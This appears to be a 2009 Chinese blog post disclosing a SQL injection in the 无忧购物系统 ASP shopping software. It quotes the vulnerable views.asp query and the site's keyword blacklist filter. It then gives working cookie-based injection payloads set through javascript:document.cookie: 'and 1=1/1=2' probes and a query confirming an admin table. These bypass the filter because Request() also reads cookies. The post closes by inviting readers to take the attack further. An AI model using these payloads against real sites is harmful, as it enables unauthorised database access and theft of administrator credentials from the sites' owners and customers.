[Test]无忧购物系统oday
2009年11月3日星期二 | | |其实代码中出现了多处SQLintection,但是在Conn.asp中:
Set Conn = Nothing
Response.Write "数据库连接出错"
Response.End
End If
%><!--#include file="sqlcheck.asp"-->
翻开了sqlcheck.asp,部分代码如下:
For Fy_x=0 to ubound(Fy_Cs)
If Fy_Cs(Fy_x)<>"" Then
If Instr(LCase(Request(Fy_Cs(Fy_x))),"'")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"and")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"select")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"update")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"chr")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"delete%20from")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),";")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"insert")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"mid")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"master.")<>0 Then
response.Write "<script language='javascript'>alert('出现错误,请勿尝试类似操作!');history.go(-1);</script>"
Response.End
过滤得还真不少~ '|and|select|update|mid|....等等等等 - -
但问题不是很大的说~~ 先贴上一处吧,views.asp 部分代码如下:
<%hw_id=Request("hw_id")
sql="select * from hw where hw_id="&hw_id&""
rs.open sql,conn,3,3
if rs.eof then%><tr><td height="200" colspan="3" align="center"& gt;没有找到你要查看的商品,您可以<a href="search.asp"><font color="#FF0000"& gt;点击这里进行详细搜索</font></a>!</td></tr>
<%else
rs("hw_views")=rs("hw_views")+1
rs.update
可以看到,hw_id=Request("hw_id"),呵,如果管理员直接:
hw_id=Requet(Replace("hw_id","'","")) 或 hw_id=Requet(Replace("hw_id","'",""")) 下 或许我还难办点~~
(Ps:哎,自从国内推出了防注射代码后,程序员们都变懒了~~~)
request集合中包含了cookie,所以 无论他的防注射代码多么的BT,咱们都可以忽略了:)
测试代码如下:
http://www.xxx.com/views.asp?hw_id=503
清空后提交:javascript:alert(document.cookie="hw_id=" + escape("503 and 1=1"))
javascript:alert(document.cookie="hw_id=" + escape("503 and 1=2"))
直接判断出存在注入了
javascript:alert(document.cookie="hw_id=" + escape ("506 and (select count(admin_name) from admin)>0"))
OK,大伙自己发挥去吧~~